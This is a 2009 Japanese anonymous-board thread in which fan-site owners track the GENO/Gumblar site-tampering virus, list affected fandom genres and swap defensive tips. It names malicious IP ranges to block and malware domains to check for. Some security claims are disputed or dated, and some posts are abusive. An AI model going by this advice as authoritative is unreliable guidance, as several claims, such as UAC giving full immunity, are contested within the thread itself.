IE8もインタねーっとオプション→セキュリティだと思うんだけど
自分もいまいち分からないから、セキュリティのレベルを
中高から高に上げてみた。そしたらjs切れたよ

>>338
その頃になって報道するんだろうな
>>339
>>344
>>345
やっぱ全く気づいてない人多いんだろうね
今日は早速友達に伝えたよ
少しでも気をつける人が増えればいいな

pixivで注意喚起した人、企画目録タグつけて
キャプションに「注意喚起のイメレスイラスト募集」みたいなの
書き加えてみたらどうだろう

目録タグは結構見てる人多いし、長い間残るし
イメレスついてりゃ人も注目する

早くウイルス作者タイーホされないかな

これ巡回ソフト（WWWC）使うだけでも感染するの？

これ↓どうすれば良い？「IP 範囲指定」でググっても、それらしきページ出てこないんだ。

FW（ファイアウォール）を有効にし、以下のIPを遮断
94.247.0.0/16
94.229.65.160/27（最新）

携帯でいくつか自ジャンルや周辺見たけど
注意喚起してるところまだ少なすぎる
４月下旬〜５月頭（GW終了間際くらい）にFTPのパスが割られたとかいう
サイトあったがそれもこの影響なのか…

ピクシブとか手ブロとかで注意喚起あるようだけど
埋もれちゃうなら何とかしないとなあ
メッセ立ち上げ→名前のとこにウイルス蔓延中注意！とか出してもだめかな

今日はやけに人家の窓の下にPCの残骸があると思ったら…

>>364
感染被害拡大中のジャンルなり、萌え絵なりでイメレスつけば
文字だけだとスルーする人も見るだろうしいいかも
ブクマ→ブクマの口コミじゃ限度あるし

よくインターネットする親父にウィルスの事注意したら
別に感染してもかまわんみたいな事言われた…
こういう奴もいるんだな…

思い切ってAdobe Readerはアンインストールしたのですが
IEのJava Scriptも切った方がいいんですかね？
これまでOFFにしてしまうとサイトの閲覧に支障がでるんですが

>>291
範囲指定それであってるよ

CIDR表記に対応してないファイアウォールあるし、わからない人も多いだろうからまとめサイトにも書いといた方がいいと思う

同人サイトなどへの感染例が報告されたジャンル一覧。サーチや情報サイトなどの閲覧者多数による被害拡大が予測される場合、特に（）内に記載。

■アニメ系
01エヴァ(小説サーチ) / 02忍たま乱太郎 / 03ガンダム00 / 04プリキュア / 05天体戦士サンレッド 06コードギアス / 07レッツ&ゴー / 09イナズマイレブン

■少年漫画【週刊飛翔系】
01リボーン(プチオンリー告知サイト・ファンサイト) / 02テニミュ(ファンサイト) / 03ジョジョの奇妙な冒険 / 04ワンピース /
05デスノート / 06D.Gray-man / 07遊戯王無印
■少年漫画【その他】
01鋼の錬金術師(オンリー告知サイト) / 02コナン
■青年漫画
01ヘタリア (PC鯖使用の携帯向け同盟)/ 02おお振り(アンソロ告知サイト) 03福本：越境、銀金

■ゲーム【RPG、ACT】
01幻想水滸伝 / 02戦国BASARA(アンソロ告知サイト) / 03戦国無双 / 04バイオハザード
05メガテン：真、サマナー、ライドウ、P4 / 06、テイルズオブ：ジアビス / 07セブンスドラゴン
■ゲーム【乙女、BL、男性向け】
01Vitamin / 02遙かなる時空の中で / 03Starry☆Sky / 04クインロゼ / 05薄桜鬼
01ニトロプラスキラル：咎狗(アンソロ告知サイト)
01Fate / 02ひぐらし
■ゲーム【格闘,アーケード,その他】
01ポップンミュージック / 02東方 (超大手感染情報) / 03ブレイブルー

■小説・ライトノベル - 01小野不由美（サーチ）
■創作 - 01創作小説 / 02創作同人ゲーム /03オリJUNE
■その他 - 01特撮：電凹

■その他の接触確率の高そうな報告例
01非同人系ゲーム同盟サイト / 02模型イベントホビーコンプレックス告知サイト

まとめ読んだ
windows updateカスタムインスコができないっス
アウアウ？
他の対策は全部やったお

だから伏せ字以下略
あーでもジャンル的に微妙な感じか？

まとめ読んだけど、oebitみたいなレンタル絵板は感染報告は無いんだね
レンタル元が感染することは無い……と思いたいけど一応チェックしてる

女性向けはヲチが活発で足をひっぱりあうジャンルもあるから
啓蒙しずらいんじゃないか
真面目に注意喚起した人を、情報が早い人はねらーｗ呼ばわりする
馬鹿ヲチャがいる。
連中さえいなければもっと早く情報伝達して被害が防げるかもしれないのに。

男性向けはニュース系で見て自分は知っていても閲覧者向けの告知はしない悪寒

gumblar.cnの代わりにmartuz.cnが出てきた模様
ソースはatwordのブログ

>>200のような方法で確認しているひとは
gumblar.cnの他にmartuz.cnも検索したほうがよさげ


あと尼も感染とか嘘情報を書き込んでる人は
逮捕とか損害賠償とかの可能性があるからね
確認もせずに騒いだらだめだよ

>>372
絶対このサイトは感染してないから大丈夫！
または感染してもいいと思うならonにしておけば？

今んとこ静的なhtmlにしか感染してないっぽい

>>377
ウィルスの特徴考えれば絵板やあぷろだは今のところ大丈夫では？

ごめんこういうの全く疎いからわかんないんだけど、
PDFとかPSPとかでも感染するの？

>>374
特撮の電凹の後ろに（○年仮面バイク乗り）とか書いておいたら？

仮面はペルソナの伏せ字で大量に使用されてるから今さらだと思うし

>>374
「01特撮」は特撮ジャンル的に「2001年に放送された特撮番組」という意味なので
誤解が生じます
特撮の前や後に数字が付く表記の仕方は避けていただきたいです

>>382
この状況を考えると、下手に大丈夫という言葉を出すと曲解されそうでこわい

自サイトからまとめにリンクしてもいいのかね？

>>10の方法で確認しても、感染しちゃってる人いるみたいだから、
この方法を感染の確認方法として掲示しとくのは危なくない？
>10だけやって、自分は大丈夫だと管理人さんが安心しちゃうと困る。

>10の方法はあくまで第一段階の確認方法で、
Kaspersky、ニフティオンラインスキャン、avast!、ウイルスバスタ2009の
いずれかで必ずウィルススキャンをしてください、とまとめサイトと
次スレの注意事項で書いてほしい。

>>374
昨日から思ってるがナンバリングはいらなくないか？
何の順番かと気になるし、・とかで並列にしないか

すいません
WORM_HIDERUN.ABって出たんだけどこれは別のウィルスですかね？

とりあえずPCと自サイトはセーフだったけど終息するまではPCつけないほうがよさそうだね
日記で注意喚起してPC消しました
早く終息しますように

先月22日に自分が感染して、mixiで注意勧告をしたんだがマイミク総スルー。
日本人の平和ボケは自分の身に直接危機が及ばないと気が付かない最悪レベル。
先日のテポドンの騒ぎで良く判ったよ。

>>387
俺リンクしたよ

伏字解る範囲でやめてみた。補足とかあったらよろしく
-----
同人サイトなどへの感染例が報告されたジャンル一覧。サーチや情報サイトなどの閲覧者多数による被害拡大が予測される場合、特に（）内に記載。

■アニメ系
01エヴァ(小説サーチ) / 02忍たま乱太郎 / 03ガンダム00 / 04プリキュア / 05天体戦士サンレッド /06コードギアス / 07レッツ&ゴー / 09イナズマイレブン

■少年漫画【週刊飛翔系】
01リボーン(プチオンリー告知サイト・ファンサイト) / 02テニミュ(ファンサイト) / 03ジョジョの奇妙な冒険 / 04ワンピース /
05デスノート / 06D.Gray-man / 07遊戯王無印
■少年漫画【その他】
01鋼の錬金術師(オンリー告知サイト) / 02コナン
■青年漫画
01ヘタリア (PCサーバ使用の携帯向け同盟)/ 02おお振り(アンソロ告知サイト) 03福本：越境、銀金

■ゲーム【RPG、ACT】
01幻想水滸伝 / 02戦国BASARA(アンソロ告知サイト) / 03戦国無双 / 04バイオハザード
05メガテン：真、サマナー、ライドウ、P4 / 06、テイルズオブ：ジアビス / 07セブンスドラゴン
■ゲーム【乙女、BL、男性向け】
01Vitamin シリーズ/ 02遙かなる時空の中で / 03Starry☆Sky / 04クインロゼ / 05薄桜鬼
01ニトロプラスキラル：咎狗の血(アンソロ告知サイト)
01Fate / 02ひぐらし
■ゲーム【格闘,アーケード,その他】
01ポップンミュージック / 02東方 (超大手感染情報) / 03ブレイブルー

■小説・ライトノベル - 01小野不由美（サーチ）
■創作 - 01創作小説 / 02創作同人ゲーム /03オリジナルJUNE
■その他 - 01特撮：仮面ライダー電王

■その他の接触確率の高そうな報告例
01非同人系ゲーム同盟サイト / 02模型イベントホビーコンプレックス告知サイト

>>383
日本語でおｋ

>>378
だからこそ、サイト持ちはガンガン告知したらいいと思う。
皆が告知してれば、誰がねらーなのかも分からなくなるし。

幸がまだ警告上げてないジャンルは厳しいかもしれんが
幸が警告してくれてるジャンルのサイト持ちは、啓蒙していって欲しい。

自分の好きなサイト管理人が呼び掛けていたら
興味の薄い人も、危機感持ってくれるかもしれないし

自分もとあるジャンルのSNSで注意喚起をしてみたけど、
絵とか載せたときの足跡に比べたらまだ10以下とかね
やっぱりというか、みんな読んでくれないね

activexも気ってい置いた方が無難？

ネットせずに今のうちに絵やテキストを書き溜めておくが吉

キーボードの電池切れかけで入力おかしすｗ
改めて・・・

activexも切っておいた方が無難？

自分もサイトに注意喚起文とまとめサイト貼ってきたけど
（もともとねらバレしてるし）
ピコサイトじゃ注意喚起の意味ないかもなぁ。

幸管さんが注意文なんかをのせてくれると、影響力あると思うんだけどね…

同人サイトなどへの感染例が報告されたジャンル一覧。サーチや情報サイトなどの閲覧者多数による被害拡大が予測される場合、特に（）内に記載。

■アニメ系
エヴァ(小説サーチ) / 忍たま乱太郎 / ガンダム00 / プリキュア / 天体戦士サンレッド / コードギアス / レッツ&ゴー / イナズマイレブン

■少年漫画【週刊飛翔系】
リボーン(プチオンリー告知サイト・ファンサイト) / テニミュ(ファンサイト) / ジョジョの奇妙な冒険 / ワンピース /
デスノート / D.Gray-man / 遊戯王無印
■少年漫画【その他】
鋼の錬金術師(オンリー告知サイト) / コナン
■青年漫画
ヘタリア (PC鯖使用の携帯向け同盟)/ おお振り(アンソロ告知サイト) 福本：越境、銀金

■ゲーム【RPG、ACT】
幻想水滸伝 / 戦国BASARA(アンソロ告知サイト) / 戦国無双 / バイオハザード / セブンスドラゴン
メガテン：真、サマナー、ライドウ、P4 / テイルズオブ：ジアビス
■ゲーム【乙女、BL、男性向け】
Vitamin / 遙かなる時空の中で / Starry☆Sky / クインロゼ / 薄桜鬼
ニトロプラスキラル：咎狗(アンソロ告知サイト)
Fate / ひぐらし
■ゲーム【格闘,アーケード,その他】
ポップンミュージック / 東方 (超大手感染情報) / ブレイブルー

■小説・ライトノベル - 01小野不由美（サーチ）
■創作 - 創作小説 / 創作同人ゲーム / オリJUNE
■その他 - 特撮：電凹　※生モノ伏字

■その他の接触確率の高そうな報告例
非同人系ゲーム同盟サイト / 模型イベントホビーコンプレックス告知サイト

普通にサイト回っててパソコンがおかしな動きしたらおかしいと思うだろ

どうりで最近ネットしてると強制終了ばっかなんだと思ってたし
ネラーとか思う方がネラーだ

幸は自分もいくつか警告文出した。
けど１つだけしか反応してくれなかったし、管理人自体がサボリきみだしな・・。
そこ全部利用者数がすごいのに。

>>392
いち一般人が勧告したどころでそんなもんだ
あんただって自分が感染しなきゃそういう反応だよ
大きく認知されるように知った人がこつこつやるしかない

同人系SNSである程度情報選別して載せた上で注意喚起したら
何人かは読んでくれてたみたいなんだけど、いまいち危機感はない。mixiはマイミク総スルーだ。
ねらーだというのがバレて後ろ指さされるより感染者増やすほうがよっぽど嫌なので
早々にまとめサイトへの誘導書かせてもらった。

各ジャンル大手サーチが注意喚起してくれたらいいんだがな…。
実際大多数のジャンルで感染確認されてるし

ヘタリアは普通のファンサイトでの感染も確認されてなかった？
あとGENOか解らないがアンソロサイトでトロイの反応あったってちょっと前にジャンルスレで言われてたよ

mixiの日記新着でけっこう注意喚起されてたから効果あるんじゃ？

自ジャンルの最大サーチさんは今朝方には注意喚起してくれてた
自分もそれで気がついたんだが…
若い人が多いジャンルなんで本当ありがたいよ

バスター2009もウィルスチェッカーとして
信用していいの？バスターは検出されないんじゃなかった？

今更聞けない
これ、マカーは関係ないの？

こんな時に限って宛にならないマカフィー…orz

Wikiの感染ジャンル、
平成バイク乗りってまた同人板用語になってる…。
同人板にどっぷり漬かってると気付きにくいもんなのかね。

詳しくないから知らんけど
巡回ソフト使ってる人ってヤバいんじゃないの？

報告されてる感染ジャンル数現在およそ［43］

■アニメ系［8］
■少年漫画/ジャンプ系［7］
■少年漫画/その他［2］
■青年漫画［3］
■ゲーム/RPG、ACT［7］
■ゲーム/乙女、BL、男性向け［8］
■ゲーム/格闘,アーケード,その他［3］
■小説・ライトノベル ［1］
■創作 ［3］
■特撮［1］

もうね、いっそウィルス注意文更新しました！って理由で幸上げしたくなってきた
やらないけど

>>411
ログをよく読む

同人関連とか扱うサイト持ってるからウイルスについてちょっと警告っぽいもの書いてみたけど
すでに自分のサイトが感染してたらどうすっべか

ねらーバレするのが嫌だという人は「友達から聞いて」「ネットサーフしてて知った」でいいと思う
リアの友人から聞いたというなら確認する術なんてない
自分の場合は大体それで通してるな

>>411
今の所は
でもmacスレでも警戒はしてるよ

女の人が多いジャンルが多いのかな
男性はあんまりこう言うので騒がないイメージもあるけど
ジャンル見てると人口多いからといって感染増えてるってわけでもないのかな

Win９８の場合は関係なし？

うちのジャンルは早い段階で大手がまとめにリンク貼ってるから、後からの人も貼りやすいみたいだ

>>418
感染してるかどうかを見ろよ…
そしてPCを窓から（ｒｙ

ﾌｧｲｱｳｫｰﾙのﾈｯﾄﾜｰｸ接続の設定で
FTPｻｰﾊﾞｰも追加した方が良いんだろうか？

名前はダウンアドに決定しました

亜種が続々と誕生、ウイルス「ダウンアド」に注意 : ニュース : ネット＆デジタル : YOMIURI ONLINE（読売新聞）
http://www.yomiuri.co.jp/net/news/20090508-OYT8T00681.htm

改ざんサイトに埋め込まれる「JS_AGENT.AVR」が4位 - トレンドマイクロ週間ランキング：Security NEXT
http://www.security-next.com/010425.html

「USBウイルス」の感染報告が9カ月連続で最多、「ダウンアド」も増加中：ITpro
http://itpro.nikkeibp.co.jp/article/Research/20090508/329700/

感染してなくても、しばらくｆｔｐ使用を避ける＝更新自粛
こうしたほうがいいってことかね
ブログでも借りてそっちで更新した方が、ｆｔｐも使うより危険性は低いって事で大丈夫？

全スレでメガテン同人サイトの報告をあげてくださった方

おそらく注意喚起用のトップページだけ残して他を削除された
当該ジャンルサイトの管理者さんだと思うのですが
連絡方法がないので一縷の望みをかけてコチラへ。

トップページに一夜にしてそれっぽいJavaScriptが書き込まれています。
もしもココを見てられたら、おかげで事態を把握できた面もありとても残念ですが
そのページも削除したほうがいいような気がします。

チラ裏／マカフィが未明のアップデートで少し賢くなったのか、アラートが出ました。

>>378
本当にそんな下らない足の引っ張り合いしてるジャンルはマイジャンルサイトが軒並み閉鎖
ジャンル衰退コンボの憂き目を見るといいと思う

俺はネラバレしようが注意喚起してマイジャンルを護るぜ
といっても注意を促して他管理人と閲覧者が自ら動いてくれることを祈るしかできないけどね

>>421
女性はそもそもPC関係に詳しくない人多いからね
男性でオタクの人はPC自作したり自鯖立てたりと色々詳しい人が多いから

>>411
今のところは大丈夫だが、サイト持ちだったら人ごとじゃない。
自サイトが改竄されてないかチェックが必要。

>>421
案外気がついてない場合が多い気がする。
そして拡大。

>>2ですどうも。
感染前対策のブラウザについて、以下でいいか見てほしいです

●ブラウザのjavascriptを無効にする
・ＩＥ　ツール→インターネットオプション→セキュリティ→レベルのカスタマイズ→
　スクリプトのとこ全部無効にチェック（ブラウザ再起動をしないと適用されない）
・Opera　ツール→クィック設定
・Ｆｉｒｅｆｏｘ　ツール→オプション→コンテンツでJavaScript有効にするをはずす

>>379情報追加しました

>>413
前スレで書いたんだけどこちらではそのジャンルスレまで確認にはいけないので
このスレで報告された通り「平成バイク乗り」としか書けない
>402では電凹となってるけど、このスレで作品名は出てないんで自分には判断ツカネ
ジャンル者さんなどで>>2にアンカつけて報告してくれると助かるんだが

>>415
テニミュは正確にいうならジャンプ系でなくて
生ジャンルに入ると思うけどね

>>421
確かに感染上位は腐に人気の作品ばかりだな

vistaもsqlなんとか調べればいいの？

>>434
細かいカテゴライズが重要か？ええ？

質問です
やはりWEB拍手も感染した状態でお礼画面とか編集したらやばい…？

>>298
ありがとう

Serena Bachのテンプレート使ってて、全てWeb上で更新してるのは
今のところ安心かな。

>>436
wiki読めよ

Vistaユーザー
「C:\Windows\Help\mui」以下のディレクトリにsqlsodbc.chmが存在する
sqlsodbc.chm を右クリック→プロパティでボリュームが確認できます
1個のファイル　50,727バイト　と表示されればOK

>>434
貼られてるのを数えただけだからそこまで知らんよ
総数あった方が増え方が解りやすいかと思っただけ

>>438
むしろなぜ感染した状態で編集しようと思うのか理解に苦しむ

>>426
次スレから名前ダウンアドにした方がいいのか？

>>2
お疲れ様です。

●ブラウザのjavascriptを無効にする　に
・safari　編集→設定→「JavaScriptを有効にする」のチェックを外す

を追加お願いします。

sqlsodbc.chmは読み取り専用にしても無駄なの？

>>441
ありがとう
大丈夫だった

今の所ボカロの被害報告は無いっぽいな
女性向けの法則が成り立つならカイト辺りやばそうだけど

実際のサイトは未確認だけど
「隠の王」の同人サイトも感染したという書き込みがあった

ただあそこは今ものすごい荒れてるから、
注意喚起しようものならそれこそねらーｗと叩かれる確率高
もし本当に感染してたらヤバいな

>>443
いや、感染はしてないんだが念のため…

>>446
そもそもsqlsodbc.chmを改ざんされないことが重要なわけではない

男は無頓着な場合も多いんだよ

女はおおげさだなーｗ
セキュリティソフト入れてるから大丈夫だよｗ
感染しても、パスワードもれて困るようなこと別にないしｗ

こういうのがザラにいる…

>>451
そうですか、何か予防法はないんでしょうか？

感染確認した、小波音ゲー系サイト
ポップンミュージック以外にもビートマニア�UDXで感染している
サイトがあった
あと小波音ゲーまとめて取り扱っているサイトも感染しているところが
ある。連絡してみたが反応ないわー被害増えそう

>>421 >>378の可能性も
男性向けは補足サイトが充実してるから
感染サイトが更新→補足→アクセス集中して拡大…とかありそう

こういうウイルス作るバカはなにがしたいんだ？

このスレを今まさにIEで開けてしまったんだが大丈夫だよな…？

>>453
スレ全部読め

さっきから対策Wikiへのリンク張ろうとすると投稿はねられるんだが
板の設定かえられた？気のせい？

感染確認のため携帯から…orz

ロースペな奴ならＰＣが明らかに重くなるからわかりやすいかも。

>>433
OperaそれでOKです。

細かく書くと
ツール→クイック設定→「javascriptを有効にする」のチェックを外す

ノートン先生、そろそろ空気読んでください
マジで・・・・
せっかっく、激軽になって快適性でバスター先生を大幅に上回ったのに
対応が甘いのでは意味がない

Vistaだったら sqlsodbc.chm が弄られることはないから
確認する必要もないんだけどね。
試しに自分で sqlsodbc.chm を削除や移動しようとしてもUACで止められるはず。
UACを有効にしている限り感染はしないし亜種が出ても大丈夫。

>>448
あの界隈はそれこそSNSとか多いから注意はまわってるのかも
見た訳じゃないから知らんけど

>>457
いいから専ブラいれとけ

>>453
wiki読んで
でも100％の回避方法はない。ネット落ちするしかない

とりあえず自サイトってかブログのトップに警告文とまとめへリンク貼っておいた
被害拡大は勘弁だぜ

>>457
お前みたいなのは黙って窓からPCを投げ捨てるのが一番安全だと思う

>>456
ニートなんだろ、きっと

とりあえず>>10試してからsqlsodbc.chmが改ざんされてないことがハッシュ単位で確認できればセーフ？
普段js切ってるから大丈夫だとは思うんだけど……

>>448
当該ジャンルの人が気付かないと報告されないからね。
報告がない＝感染がないわけじゃない以上、報告来ない方がかえって怖い

>>463
俺はVistaで感染したぞ

ノートン一年更新したばっかなのになんてこったｗ

>>433
いやいや平成バイク乗りのどれかを特定しろってことじゃなくてね。
平成仮面ライダーと書くべきじゃないかってこと。
バイク乗りで一般の人は仮面ライダーだってわからないと思うよ。

>>472
なんで感染したか軽くお願いできます？

>>472
だからそれはUACを無効にしていたんだろ。
あるいはUACが有効になっていたのなら感染しているということ自体勘違い。

>>413
特撮はジャンルの性質上、作品の正式名称書かないで伏字推奨なんだよ
特撮に限らず芸能系の生サイトも伏字推奨だし
だから「平成バイク乗り」表記のままでも別にいいと思う

>>449
隠の王には粘着荒らしが居て
自分の気に入らないカップリングのサイトを荒らし回ってるらしいからな…
確かに注意喚起は難しいかも

>>466
ありがとうございました



JavaScript解除したらレスのポッポアップが使えなくなった
かなり読みづらい

>>427の解釈ってあってる？

>>444
本スレがGENOだからGENOで統一しないと混乱する
この名前はもう長い事使われてるし、向こうに合わせれば？
ていうかダウンドア別物じゃね？

wiiとかＰＳＰで閲覧しても感染する？

乙女ゲーム「金色のコルダ」二次サイト
管理人が感染に気付いてサイト閉鎖を行ったけど、
跡地の挨拶ページが改ざんされてる。
連絡先が書かれていないので知らせられない。

vista使いだけど
sqlsodbcはあるがsqlsodbc.chmがない…これはヤバい？

>>471
ジャンル人口がそこそこいないと感染に気付いてすらもらえないわけで…
人気作が上位にいるってのはそれだけ人口が多いってことだと。

GENOが検出できるウイルス対策ソフトって
・カスペルスキーオンラインスキャナ
・ニフティーオンラインウイルスチェック
と他なんだっけ？

ウィルスセキュリティの履歴に2009:4/14 、ユーザー=SYSTEM、 名前="GLH0054.TMP"、
説明=感染の割合Trojan-Downloder.Win32.Agent 状態=隔離、設定=アクセスは拒否されました
とあるんだけど、一通りマトメの対処をして、ウィルスセキュリティはウィルスを検知してたってことで、大丈夫と言うことですよね？

>>482
鯖官に連絡じゃダメなのかね？

>>483
拡張子表示させてないだけじゃなくてか？

>>472
UACを有効にしていて感染したのなら、
感染してどんな状態になったのか、そして
sqlsodbc.chmがどうなっていたのか教えてくれ

>>482
そのサイトは幸とかに登録してない？
してたら幸管理人から連絡してくれと頼むといいかも
でもそれだと下手すりゃ幸がヤバイかも知れん

>>483
単に拡張子が表示されてないだけで同じファイルだ。
何もヤバくない。
あと何度も言うけどVistaには感染しないから確認不要。

safariも「開発」のところでワンタッチでJAVAスクリプトON、OFF出来たはず。

連絡先がないサイトや連絡不通な感染サイトは
鯖元に通報

>>450
PCを大きめのカナヅチで思いっきり100回ぐらいあらゆる方面から叩けば
感染しないと思うよ＾＾

>>483
フォルダオプションで、登録されている拡張子も表示に変更しろ

>>418
感染してるならまず対処の方（ファイル削除なりOS再インスコなり）が先かと
注意文は対処が終わって、IDやらパスやら変えて、それからだな

>>438
それは大丈夫なんじゃね？　絵茶と同じで

ＵＡＣを盲目的に信じてる奴が一人いるなｗ

>>483
拡張子も知らん厨房は回線切って寝とけ

>>475
多分１週間位前にサイト回遊した時かと推測。
だがどこか具体的にはわからん

>>485
Avastもだったよ。

>>426,444
Downad（別名 Conficker）は、もう少し前からある別のウイルスだから、今回のとは関係ない。

教えてくれた人ありがとう
今回初めてvistaでよかったと思った
でも自サイト持ってるしまだまだ不安だ

>>477
【ﾀﾞﾌﾞｽﾀ】女性向け二次同人のﾛｰｶﾙﾙｰﾙについて考える【矛盾】
http://changi.2ch.net/test/read.cgi/doujin/1225705312/l50

こんなときにお前何言ってんだ？伏字通すのと感染拡大防ぐのとどっちが大切だと思ってんだ

>>483
右クリしてプロパティ見ろ。
コンパイルされた HTML ヘルプ ファイル (.chm)
って書いてあるだろ。

avast、ニフティ、システマックでスキャンしてみたけど検出なし
sqlsodbc.chm改ざんされた形跡なし
コマンドプロンプトレジストリ普通に出る
まとめサイトに書いてあることはだいたい試した
けどなんか動作が重い気がする…
亜種に感染してるんじゃないかという被害妄想が止まらない…

>>497
別に盲信はしていないけど、少なくともWindowsフォルダ下のファイルが
UACに反応もせず書き換えられることは100％ありえないと断言できるからね。
こんなウイルスはUACがないXPや2kでしか存在しえない。

つうか既に対策済みのサイトまで晒すなよ

>>480
別物だな。
GENOならHPを改ざんしたって記述があるはずだし。

疎くてすみません
Ｊａｖａ切るといいなら、エチャ(タカミン)とかはどうなるの？

>>474
元ジャンルがわからないと平成バイク乗りも何を指してるのかわからない
故にそのまま転載せざるを得ない
原則は報告者は置き換えなしでジャンルを書く、
どうしても抵抗がある場合は一部○を使って伏字
わかる人はジャンルの訂正でいいのではないかと

>>474
いやだからこのスレで「平成バイク乗り」としか報告されてなかったから
2さんもそれが「仮面ライダー」だとわからなかったんだろ。
だから報告する時点で正確なジャンル名で報告してくれと。

ナマ半ナマはそもそも潜ってるんだし、特撮って事がわかれば十分じゃないか

>>503
てかさ、同人サイト向けwikiなのになんで一般人にわからせる必要があるわけ？
ジャンルの人なら伏字でも意味通じるんだから別にいいと思うけど
それに特撮・芸能系サイトはパス制で検索避けしてるから普通はぐぐっても出てこないよ
一般人が辿り着く可能性は低い

同人サイト向け・通称「GENOウイルス」対策まとめ
ttp://www31.atwiki.jp/doujin_vinfo/

セキュ板本スレ
GENOウイルススレ　★5（実質6）
ttp://pc11.2ch.net/test/read.cgi/sec/1242415108/

>>509
使用不可になる。多分。
それが嫌なら、絵茶だけ許可にするとかな。
ただし、それでもし絵茶提供側がウィルス感染しても知らんよ、ってこってす

>>503
だよな
周りにどんだけ迷惑がかかるか分かってるんだろうか

仮○ライ○ーとかで良いんじゃないのか

>>509
お前みたいなのは一生PC使わなければ世の為だ

お面ライダーでいいよもう

すいません、UACを有効にできているか確認するにはどうしたらいいでしょうか。

>>509
JAVA（JAVAアプレット）とJAVAスクリプトの違いも分からん奴はネット繋ぐな

切るのはスクリプトの方だ
タカミンはアプレットだから関係ない
エクスカリバーとエクスカリパーくらい違うわ

感染に気づく→告知だけ残して全ページ削除→今クリーンインスコ中って流れで
感染された告知ページ残してるパターンがあるっぽいな
サイトの方の感染調べられないならいっそ全部消しときゃいいのに

ジャンル報告age
リボーン、プチオンリだけじゃなくて
他のオンリ告知サイトも感染していた。
（5/16の日付でサイト内ファイル削除の対策済）

>>509
アプレットとスクリプトの違いを（ｒｙ

初心者だからだの疎いだの言ってる奴はまとめサイト読む能力もないほどクズなの？

書店スレとかこっちにあった印刷所スレとかメインで見てた人間からすると
幸とかすら何なのか分からないんだが

報告は名前欄に「報告」入れしたほうが更新しやすいから頼むよ


今北が増えてるから、>>514のWikiのURLも定期的にコピペしてくれ

>>499
・sqlsodbc.chmのサイズと更新日時
・cmd.exeとregedit.exeは起動するか
・UACは切ってるのか
以上のこと教えてくれないか

同人用語はジャンル内の同人屋だけがわかればいいんじゃないか
同人サイト以外の人も見るサイトに晒されていたくないんだが

>>505
IEが遅いのなら前スレで感染確認できないけどメモリ食うって話は何件か出てた

>>513
ウイルスの蔓延を阻止することより女性向けの妄想ルールが大事なんですね、わかります
だったらスレに引きこもってろよ
呆れてものが言えん
ここでジャンルカミングアウトしたところでお前のサイトが晒されるのかよアホか

>>507
対策済みならいいってもんじゃないだろ。
感染時に該当サイトへアクセスした人への注意喚起になるんだから。

>>513の追記だけど
一般人向けのGENOウイルスまとめサイトだって別にあるでしょ
特撮のスレでも既に注意喚起の書き込みがあるし
サイト巡っても日記にウイルスのこと書いてる所が沢山あるよ

これでも「感染拡大防いでない」って言うならどうしろっての？

＞492
＞298を参照してくれ
それと　「開発」とは別に設定→セキュリティでプラグイン・JavaScriptをオフにしていないと無意味。

何でもかんでも説明しながら話さにゃならんのか
まとめ見れば分かるだろ

>>513
全員が全員伏字知ってるっていう保障もないんだが…
もうだめだこういう奴はジャンルのルール優先で実害の可能性は二の次って

sqlsodbc検索しても見つからない俺ﾋﾞｽﾀﾝユーザー

もめてる場合じゃない

取り敢えず感染してない事を確認して
自サイトと運営してるカプサーチに
注意書きとまとめのＵＲＬを貼り付けておいた
感染して無くてよかったー

スレ位ちゃんと目を通せよ

>>525
それは伏せ字関係なくてただの書き方方言だから。
サーバーを「鯖」って書くような類。

＞536
ClamWin入れてCドライブ対象スキャン汁

もめてるっていうか、一人がギャーギャー騒いでるだけだけどな

まとめサイト見ても分からない事がある人はサイト管理人向いてないから
今サイト持ってるならさっさと全消しして閉鎖してきた方がいい。そして回線切れ。
サイト持ってない奴はとりあえず回線切れ。

>>449「隠の王」はカテゴリどこスか
>>454　>>482　>>523は追加しました

sqlsodbc.chm　1.29 KB (1,323 バイト) 更新日時:2008年4月14日
MD5:6a690f7672c05acc29eaf7c31b33fb80
SHA-1:d530864c4c7a96493d982d4b1c0e4311fa461cfb

cmd.exeとregedit.exeは問題なく起動
avastスキャン、ブート検査異常なし
再起動も正常にできたがsqlsodbcのサイズが引っかかる…

同人用語だの伏字だの使いたいとか言ってるアホは何なんだ

感染ジャンルにうっかり行く可能性のあるやつがジャンル者だけに限らないことぐらい考えたら分かるだろ
一般人からは検索避けされてるとか行ってるけど、
オタの中には感染を知らないでサーチだのから新しく飛ぶ奴もいるだろうが

何で伏字が必要なのかっていう意味考えろ、今回の件では何の意味もない
自分だけがいいなら関係ないとかいってんなカス
ジャンル自己申告して周知に走り回ってる奴もいるんだぞ、いい加減にしろ

感染サイト確認

ガンダム種　アスキラ小説
メールしたけどまだ反応なし

>>505と同じで色々試してみて検出なしだったんだが
動作が重い。
ここ数日「メモリが足りません。仮想メモリの数値を増やしてます」の
ポップアップが何度か出てる。

なんかもう潮時なんじゃないかと思えてきた
色々と

>>532
お前はもう黙ってろ

回線きって氏ね

全然伏せ字わからんようなジャンルには行かないでしょ、そもそも
わざわざウィルス探しにでも行かない限り
併設されてるとこは書いてあるから、ある程度わかればいいよ
所詮同人板のまとめなんだから

>>2
「隠の王」は少年誌(その他)でよかったはず

>>548
それはただ単にメモリ不足なだけだろ…

これを期に閉鎖するか…感染してないけど

>>544
少年漫画その他じゃないか
確かスクエニ系で連載してたと思う

ビスタ使いだけどIE８にした方が安全なのかな？

オンラインスキャンしたが、ロックがかかってスキャンできてないシステム
が多くて感染してないのかわかんね・・・・

>>551
わざわざID変えてご苦労様です
もう来んな
お前みたいなのがいるから爆発的に感染が広がってくんだよ

とりあえずこの土日は一切ネサフしないとして
どれくらいで収まるんだろうこの騒動
終わりが見えないな…

>>532
>一般人向けのGENOウイルスまとめサイトだって別にあるでしょ
ネット見るの怖いから検索してないけどあるの？
一般の会社で感染してるところ小林製薬以外にも載ってる？

>>507
対策済みって書いてあるのにまた改ざんされてるサイトもある
おそらくパスの類を変えてないか対処が中途半端

>>550
一字一句同意

>>544
漫画ですけどアニメ化もされてます
主に女子に人気です

名前欄間違えた　ついでに喚起age

自ジャンルのドエロサイト守るのに必死な人が居ますね

携帯からでごめん。
アバストが激怒したので報告。
黒執事同人サイト1件
(生)KAT-TUN同人サイト1件
(生)NEWS同人サイト1件

共にテキストサイトでした。

えっちな動画は見たらすぐ消せよ

いや、ここでのレスにまで伏せがわからんとかはなあ
まとめに伏せが無ければそれでいいんでは

あとは一般向けのまとめサイトさんへの誘導を
トップの分かりやすい位置にするとか

>>532
ここにジャンル書かれたくらいでジャンル収束しないよ
大体スレのローカルルールを別のスレに押し付けるのはやめれ
